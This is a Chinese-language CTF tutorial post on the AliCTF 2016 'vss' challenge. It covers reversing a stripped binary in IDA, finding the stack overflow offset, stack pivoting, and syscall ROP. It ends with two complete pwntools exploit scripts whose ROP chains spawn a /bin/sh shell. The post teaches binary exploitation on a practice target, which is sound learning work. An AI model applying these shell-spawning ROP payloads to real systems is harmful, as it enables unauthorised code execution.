-
-
[原创][分享]Pwn从入门到放弃(二)
-
2019-12-28 22:15 8050
-
0x01 栈溢出利用
0x02 基本的ROP利用
0x03 题目二:
该题目是AliCTF 2016中一道题,vss
第一步:
checksec看一下该程序开了哪些保护:
同样也是64位小端,只开启了RELOR和NX两项保护。
第二步:
运行该程序看看:
让输入一段password,随便输入了几个字母,没有任何正确和错误的提示
*第三步:
用gdb调试看看:
发现崩溃在了0x401124处,movzx eax,BYTE PTR [rbp+rax*1-0x40],但似乎无法计算溢出位置。
第四步:
将该程序丢到IDA看一下:
发现函数无法识别,应该是使用了strip将符号信息做了剔除。程序定位在了start处。
知识点1:strip,简单的说就是给文件脱掉外衣,具体就是从特定文件中剥掉一些符号信息和调试信息,使文件变小。
第五步:
寻找main函数入口,这里有两种方法,一种是通过经验判断,在start末尾处的call,应该是libc_start_main函数,而其上方处offset sub_4011B1应该就是main函数了。另一种是,直接shift+F12通过字符串查找“password”,找到main函数。第六步:
进入main函数后,F5查看伪代码:
其中sub_473EA0应为read函数,猜测应该是用于读取password的输入。
在进入sub_40108E函数时,发现了对于读取输入值后的逻辑判断:
如果是以“py”开头,则直接返回,后面的循环判断看的懵,没办法,C/C++功底太差,@_@
另外,在40108E函数中看到疑似strncpy的函数。
知识点2:strncpy函数是将输入内容的指定长度字符串复制给一个字符串数组中,代码举例:
#include<stdio.h> #include<string.h> int main(){ char name [] = {"Chinanet"},destin[20]={}; strncpy(destin,name,3); printf("%s\n",destin); } 打印输出的结果为"Chi"。
第七步:
动态调试看看吧,因为我使用的是linux的虚拟机,因此需要使用IDA来远程动态调试。
在sub437EA0和sub40108E处下个断,输入70个"A"和10个"1",然后动态跟一下栈状态:
输入70个"A"和10个"1"时的,栈帧状态:
当进入sub40108E后,完成strncpy后的栈帧状态:
发现RBP和返回地址已被覆盖,因此可以得知73~80个字符可以覆盖返回地址,在完成strcpy后,会将所输入的内容逐个字符与66h进行异或,然后最终报错:
RBP+RAX的值刚好位于了只读的区域:
第八步:
由于可控可执行的栈空间73~80(8个字节),因此需要利用stack pivot技术将栈顶上移到main栈帧空间中利用(因为main函数申请了400h的空间),然后再构造ropchain:第九步:
程序由于没有引入libc.so,因此只能考虑使用程序中的syscall,利用syscall来调用所需的函数。
知识点3:关于syscall的调用方法,可以参看syscall调用表
第十步:
栈溢出布局思路(自带画图工具凑合画的):
另外,由于需要使用syscall来调用所需函数,因此需要为syscall调用时的参数进行布局,上篇文章已经提过了,关于64位寄存器,依次是rdi、rsi、rdx、rcx、r8、r9,而read和sys_execve都是需要三个参数的,所以我们们要找到类似pop rdi、pop rsi、pop rdx的命令来控制三个参数。
- 第十一步:
有两种方法,一种利用ROPgadget直接找到并生成可利用的ROPchain,另一种方法是通过ROPgadget找到一处add rsp xxx(大于0x50),然后布置ROP链。两种EXP代码如下:
python ROPgadget.py --binary ~/Desktop/vss/vss --ropchain
代码一:
from pwn import * from struct import pack p = remote('127.0.0.1',4000) recv_content = p.recvuntil('Password:\n') p2 = '' p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret p2 += pack('<Q', 0x00000000006c4080) # @ .data p2 += pack('<Q', 0x000000000046f208) # pop2 rax ; ret p2 += '/bin//sh' p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8 p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret p2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; ret p2 += pack('<Q', 0x00000000006c4080) # @ .data p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8 p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; ret p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8 p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045f2a5) # syscall ; ret payload1 = 'py' + 'A' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2 p.sendline(payload1) p.interactive()
代码二:
#!/usr/bin/python #coding:utf-8 from pwn import * io=process('./vss') payload = "" payload += 'py' #头两位为py,过检测 # payload += p64(0x6161616161617970) payload += 'a'*0x46 #padding payload += p64(0x46f205) #add esp, 0x58; ret payload += 'a'*8 #padding payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数 payload += p64(0x8) #rdx = 8 payload += p64(0x6c7079) #rsi = 0x6c7079,可用的bss段,用于存放'/bin/sh' payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数 payload += p64(0x0) #rdi = 0 payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read payload += p64(0x46f208) #pop rax; ret payload += p64(59) #rax = 0x3b payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数 payload += p64(0x0) #rdx = 0 payload += p64(0x0) #rsi = 0 payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数 payload += p64(0x6c7079) #rdi = 0x6c7079 payload += p64(0x437eae) #syscall print io.recv() io.send(payload) sleep(0.1) #等待程序执行,防止出错 io.send('/bin/sh\x00') io.interactive()
参考:
https://bbs.ichunqiu.com/thread-42534-1-1.html
https://www.cnblogs.com/ichunqiu/p/11238429.html
https://www.jianshu.com/p/157ab3347baa
https://blog.csdn.net/Breeze_CAT/article/details/95272143
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课